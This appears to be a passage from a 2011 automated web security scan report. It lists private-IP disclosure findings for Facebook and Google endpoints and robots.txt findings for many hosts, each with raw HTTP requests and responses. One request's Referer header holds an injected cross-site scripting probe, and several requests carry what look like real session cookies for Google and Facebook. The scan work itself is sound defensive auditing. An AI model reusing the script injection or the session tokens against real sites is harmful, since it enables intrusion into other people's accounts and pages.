GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2f0caa20c%26origin%3Dhttp%253A%252F%252Fwww.powermta.port25.com%252Ff304dfb324%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.powermta.port25.com&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.31. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.31.46

Request

GET /plugins/like.php?href=http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html&layout=button_count&show_faces=false&width=100&action=like&font=verdana&colorscheme=light HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.32. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.96.64

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2dce89747d6b34%26origin%3Dhttp%253A%252F%252Fwww.powermta.port25.com%252Ff395a961e1aa194%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.powermta.port25.com&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

20.33. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.43.64

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2fa757d6c%26origin%3Dhttp%253A%252F%252Fthehackernews.com%252Ff2c1c37b3%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FThe-Hacker-News%2F172819872731894&layout=standard&locale=en_US&node_type=link&sdk=joey&show_faces=true&width=600 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.34. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.29.49

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1271eb31%26origin%3Dhttp%253A%252F%252Fwww.thewhir.com%252Ffd1cbc284%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fwww.thewhir.com%2Fweb-hosting-news%2F091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.35. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.58.37

Request

Response

20.36. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.252.63

Request

Response

20.37. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.60.59

Request

Response

20.38. http://www.facebook.com/plugins/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.30.44

Request

GET /plugins/recommendations.php?header=true&height=450&linktarget=_blank&locale=en_US&sdk=joey&site=http%3A%2F%2Fwww.thehackernews.com%2F&width=290 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

20.39. http://www.facebook.com/plugins/recommendations.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/recommendations.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.35.48

Request

Response

20.40. http://www.google.com/sdch/sXoKgwNA.dct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/sdch/sXoKgwNA.dct

Issue detail

The following RFC 1918 IP address was disclosed in the response:

172.31.196.197

Request

GET /sdch/sXoKgwNA.dct HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO4AAAD7Xl0oDS_3Xy0JKwYeKgRjMbxp0c2W5DSFLy2Y9JkSJYmKvv1nBof0akZrOA6irTQl8KxP9Eoae06RbjzCClA25MRuVFdF6rXzUkh8SKGCxg1rw75hUuF-Q6Hfpq5C54hAzhRx-AmmtuoAFnzNK8zWfOVJpa_QelYHWpLFQHbnPZSoTt-oYFQ8FvrjsTQtOrrTGqDw6xFuT1mXvxsUuamUyR2icH4Fzc2kSrnlcFORO_n1bWSW0aN0HPNXtAVlbrIKfpZOlzJv9hO2NdES_xUtKqOl4j7gqJr7lekB4ZGb18ynomXsS5lHVunDhfYOlCo; NID=51=OfIpxrXVO5NSaLscWANYTdJ6wK00cMsAk4v9TJrRXGHdy1F4BPsM-1wczJOe1wJItW5A5zxEQcMb9fALGgEiafj_Zx-hNW74w3p8LNx501XJMZ_JLwMORpu5plDcGMX3
If-Modified-Since: Fri, 16 Sep 2011 08:14:33 GMT

Response

HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Type: application/x-sdch-dictionary
Last-Modified: Fri, 16 Sep 2011 14:01:34 GMT
Date: Fri, 16 Sep 2011 15:26:26 GMT
Expires: Fri, 16 Sep 2011 15:26:26 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 132040

Domain: .google.com
Path: /search

<!doctype html> <head> <title> - Google Search</title> <script>window.google={kEI:" WJ_5AKi8-ooAE",getEI:function(a){var b;while(a&&!(a.getAttribute&&(b
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: &hl=en&ct=clnk&gl=us" onmousedown="return rwt(this,'','','','1 clk(this,this.href,'','','',' rwt(this,'','','','14','AFQjCNGl clk(this,th
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:4ihYA8ZxpjMJ:www.cardomain.com/+used+carH75rMPosXksJ:www.cars.com/+used+cary4a-lQGHU2cJ:www.vehix.com/+used+carOJ7l3PBi2ywJ:www.usedcars.com/+used+car &hl=en&ct=cl
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: topics.nytimes.com/top/news/business/companies/ J:explore.live.com/windows-live- &hl=en&ct=clnk&gl=us" onmousedown="return rwt(this,'','','','clk(this,this.hr
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:J:www.motortrend.com/new_cars/01/J:www.google.com/finance%3Fcid%3D6_AF_a1pfx4YJ:www.craigslist.com/+ &hl=en&ct=clnk&gl=us" onmousedown="return this.hr
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:7xB4UhrmMUQJ:www.moviefone.com/+aol &hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','',' clk(this,this.href,'','','',' Q')">
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache:J:www.google.com/finance%3Fcid%3D&hl=en&ct=clnk&gl=us','','','',' &hl=en&ct=clnk&gl=us','','','',' &cd= &hl=en&ct=clnk&gl=us" onmousedown="return rwt
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: www.edmunds.com/used-cars/+used+carsVsBuRBChf0J:www.carmax.com/enus/car-search/used-cars.html+used+car &hl=en&ct=clnk&gl=us" onmousedown="retur
...[SNIP]...
<a href="http://172.31.196.197:8888/search?q=cache: &hl=en&ct=clnk&gl=us" onmousedown="return clk(this,this.href,'','','',' A')">
...[SNIP]...

21. Robots.txt file previous next
There are 28 instances of this issue:

http://467-kxi-123.mktoresp.com/webevents/visitWebPage
http://ad.yieldmanager.com/pixel
http://ads.bluelithium.com/pixel
https://fonts.googleapis.com/css
http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1072582907/
http://help.securepaynet.net/topic/168/article/5246
https://idp.godaddy.com/login.aspx
http://imagesak.securepaynet.net/assets/godaddy.ico
http://img.secureserver.net/image.aspx
http://l.addthiscdn.com/live/t00/250lo.gif
http://livechat.iadvize.com/chat_init.js
https://livechat.iadvize.com/chat_button.js
https://mya.godaddy.com/default.aspx
http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css
http://safebrowsing-cache.google.com/safebrowsing/rd/ChVnb29nLWJhZGJpbi1kaWdlc3R2YXIQARj7ASCEAioG_AAAAP8BMgX7AAAAAQ
http://safebrowsing.clients.google.com/safebrowsing/downloads
http://static.ak.fbcdn.net/connect/xd_proxy.php
http://t3.gstatic.com/images
http://toolbarqueries.clients.google.com/tbproxy/af/query
http://widget.uservoice.com/dcache/widget/feedback-tab.png
http://www.authsmtp.com/
http://www.facebook.com/plugins/like.php
http://www.google-analytics.com/__utm.gif
http://www.google.com/search
http://www.googleadservices.com/pagead/aclk
http://www.imailserver.com/imail
http://www.linkedin.com/analytics/
http://www.socketlabs.com/lpages/od-smtp-service

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

21.1. http://467-kxi-123.mktoresp.com/webevents/visitWebPage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://467-kxi-123.mktoresp.com
Path:	/webevents/visitWebPage

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: 467-kxi-123.mktoresp.com

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:44 GMT
Server: Apache
Last-Modified: Fri, 08 Jul 2011 02:03:21 GMT
ETag: "b0df9-18-4a7853ce56c40"
Accept-Ranges: bytes
Content-Length: 24
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

21.2. http://ad.yieldmanager.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.yieldmanager.com
Path:	/pixel

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ad.yieldmanager.com

Response

HTTP/1.0 200 OK
Date: Fri, 16 Sep 2011 18:08:28 GMT
Server: YTS/1.18.4
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Cache-Control: no-store
Last-Modified: Fri, 16 Sep 2011 18:08:28 GMT
Pragma: no-cache
Content-Length: 26
Content-Type: text/plain
Age: 106

User-agent: *
Disallow: /

21.3. http://ads.bluelithium.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ads.bluelithium.com
Path:	/pixel

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ads.bluelithium.com

Response

21.4. https://fonts.googleapis.com/css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://fonts.googleapis.com
Path:	/css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: fonts.googleapis.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Fri, 16 Sep 2011 19:07:53 GMT
Expires: Fri, 16 Sep 2011 19:07:53 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

User-agent: *
Disallow: /

21.5. http://googleads.g.doubleclick.net/pagead/viewthroughconversion/1072582907/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/viewthroughconversion/1072582907/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: googleads.g.doubleclick.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Fri, 16 Sep 2011 03:16:46 GMT
Expires: Sat, 17 Sep 2011 03:16:46 GMT
Server: cafe
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=86400
Age: 43804

User-Agent: *
Allow: /ads/preferences/
Disallow: /
Noindex: /

21.6. http://help.securepaynet.net/topic/168/article/5246 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://help.securepaynet.net
Path:	/topic/168/article/5246

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: help.securepaynet.net

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:10:50 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5
Vary: Accept-Encoding
Content-Length: 26
Connection: close
Content-Type: text/plain;charset=UTF-8

User-agent: *
Disallow: /

21.7. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: idp.godaddy.com

Response

HTTP/1.1 200 OK
Content-Length: 26
Content-Type: text/plain
Last-Modified: Tue, 14 Apr 2009 23:01:01 GMT
Accept-Ranges: bytes
ETag: "598ea5e154bdc91:13a9"
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 18:06:01 GMT
Connection: close

User-agent: *
Disallow: /

21.8. http://imagesak.securepaynet.net/assets/godaddy.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://imagesak.securepaynet.net
Path:	/assets/godaddy.ico

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: imagesak.securepaynet.net

Response

HTTP/1.0 200 OK
Content-Length: 50
Content-Type: text/plain
Last-Modified: Thu, 04 Jun 2009 15:02:03 GMT
Accept-Ranges: bytes
ETag: "1eb1456b25e5c91:be1"
Server: Microsoft-IIS/6.0
Cache-Control: max-age=3888000
Date: Fri, 16 Sep 2011 18:07:29 GMT
Connection: close

#
# robots.txt
#
User-agent: *
Disallow: /
#

21.9. http://img.secureserver.net/image.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://img.secureserver.net
Path:	/image.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: img.secureserver.net

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/plain
Last-Modified: Tue, 25 Nov 2008 19:40:48 GMT
Accept-Ranges: bytes
ETag: "d53d3eb7354fc91:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
Date: Fri, 16 Sep 2011 18:10:55 GMT
Connection: close
Content-Length: 53

# img.* robots.txt file
User-agent: *
Disallow: /

21.10. http://l.addthiscdn.com/live/t00/250lo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://l.addthiscdn.com
Path:	/live/t00/250lo.gif

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: l.addthiscdn.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Thu, 08 Sep 2011 11:09:27 GMT
ETag: "fd0661-1b-4ac6c181027c0"
Content-Type: text/plain; charset=UTF-8
Date: Fri, 16 Sep 2011 15:26:56 GMT
Content-Length: 27
Connection: close

User-agent: *
Disallow: *

21.11. http://livechat.iadvize.com/chat_init.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://livechat.iadvize.com
Path:	/chat_init.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: livechat.iadvize.com

Response

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Fri, 16 Sep 2011 15:26:53 GMT
Content-Type: text/plain
Content-Length: 31
Last-Modified: Wed, 21 Jul 2010 10:11:34 GMT
Connection: close
Expires: Fri, 16 Sep 2011 21:26:53 GMT
Cache-Control: max-age=21600
Accept-Ranges: bytes

User-agent: *
Disallow: /*.js$

21.12. https://livechat.iadvize.com/chat_button.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://livechat.iadvize.com
Path:	/chat_button.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: livechat.iadvize.com

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 19:07:57 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Last-Modified: Wed, 21 Jul 2010 10:11:34 GMT
ETag: "62b8292-1f-48be306c12180"
Accept-Ranges: bytes
Content-Length: 31
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /*.js$

21.13. https://mya.godaddy.com/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/default.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: mya.godaddy.com

Response

HTTP/1.1 200 OK
Content-Length: 28
Content-Type: text/plain
Last-Modified: Mon, 31 Aug 2009 22:39:02 GMT
Accept-Ranges: bytes
ETag: "c9bf88d68b2aca1:601"
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 18:07:51 GMT
Connection: close

User-agent: *
Disallow: /

21.14. http://powermta1.com/wp-content/plugins/cforms/styling/sidebar-layout.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://powermta1.com
Path:	/wp-content/plugins/cforms/styling/sidebar-layout.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: powermta1.com

Response

HTTP/1.1 200 OK
Content-Length: 126
Content-Type: text/plain
Last-Modified: Mon, 19 Oct 2009 22:41:58 GMT
Accept-Ranges: bytes
ETag: "0bf955dd51ca1:311"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 16 Sep 2011 15:28:13 GMT
Connection: close

User-agent: *
Disallow: /images/spacer.gif
Disallow: /ct.html
Disallow: /sd/
Disallow: /st.aspx
Disallow: /ct/ct.aspx

21.15. http://safebrowsing-cache.google.com/safebrowsing/rd/ChVnb29nLWJhZGJpbi1kaWdlc3R2YXIQARj7ASCEAioG_AAAAP8BMgX7AAAAAQ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://safebrowsing-cache.google.com
Path:	/safebrowsing/rd/ChVnb29nLWJhZGJpbi1kaWdlc3R2YXIQARj7ASCEAioG_AAAAP8BMgX7AAAAAQ

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: safebrowsing-cache.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Fri, 16 Sep 2011 15:20:42 GMT
Expires: Fri, 16 Sep 2011 15:20:42 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

21.16. http://safebrowsing.clients.google.com/safebrowsing/downloads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://safebrowsing.clients.google.com
Path:	/safebrowsing/downloads

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: safebrowsing.clients.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Fri, 16 Sep 2011 15:20:40 GMT
Expires: Fri, 16 Sep 2011 15:20:40 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

21.17. http://static.ak.fbcdn.net/connect/xd_proxy.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/connect/xd_proxy.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: static.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8
X-FB-Server: 10.30.147.196
X-Cnection: close
Date: Fri, 16 Sep 2011 15:26:56 GMT
Content-Length: 2553
Connection: close

# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://ww
...[SNIP]...

21.18. http://t3.gstatic.com/images previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t3.gstatic.com
Path:	/images

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: t3.gstatic.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Tue, 29 Jun 2010 03:34:56 GMT
Date: Fri, 16 Sep 2011 18:06:32 GMT
Expires: Fri, 16 Sep 2011 18:06:32 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 26
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /

21.19. http://toolbarqueries.clients.google.com/tbproxy/af/query previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://toolbarqueries.clients.google.com
Path:	/tbproxy/af/query

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: toolbarqueries.clients.google.com

Response

HTTP/1.0 200 OK
Vary: Accept-Encoding
Content-Type: text/plain
Last-Modified: Tue, 06 Sep 2011 05:52:07 GMT
Date: Fri, 16 Sep 2011 15:26:48 GMT
Expires: Fri, 16 Sep 2011 15:26:48 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

21.20. http://widget.uservoice.com/dcache/widget/feedback-tab.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://widget.uservoice.com
Path:	/dcache/widget/feedback-tab.png

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: widget.uservoice.com

Response

HTTP/1.0 200 OK
Server: nginx/0.8.54
Content-Type: text/plain; charset=utf-8
Last-Modified: Fri, 22 Apr 2011 18:48:00 GMT
Date: Fri, 16 Sep 2011 15:26:56 GMT
Content-Length: 277
Connection: close

# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file

# Tell MSN to simmer down
User-agent: msnbot
Crawl-delay: 120

# Tell 80legs to get bent
User-agent
...[SNIP]...

21.21. http://www.authsmtp.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.authsmtp.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.authsmtp.com

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:26:37 GMT
Server: Apache/1.3.42 (Unix) PHP/5.3.6
Last-Modified: Fri, 19 Aug 2011 12:41:21 GMT
ETag: "1fa0511-da-4e4e59f1"
Accept-Ranges: bytes
Content-Length: 218
Connection: close
Content-Type: text/plain
X-Pad: avoid browser bug

User-agent: *
Sitemap: http://www.authsmtp.com/authsmtp_com_sitemap.xml
Disallow: /cgi-bin/
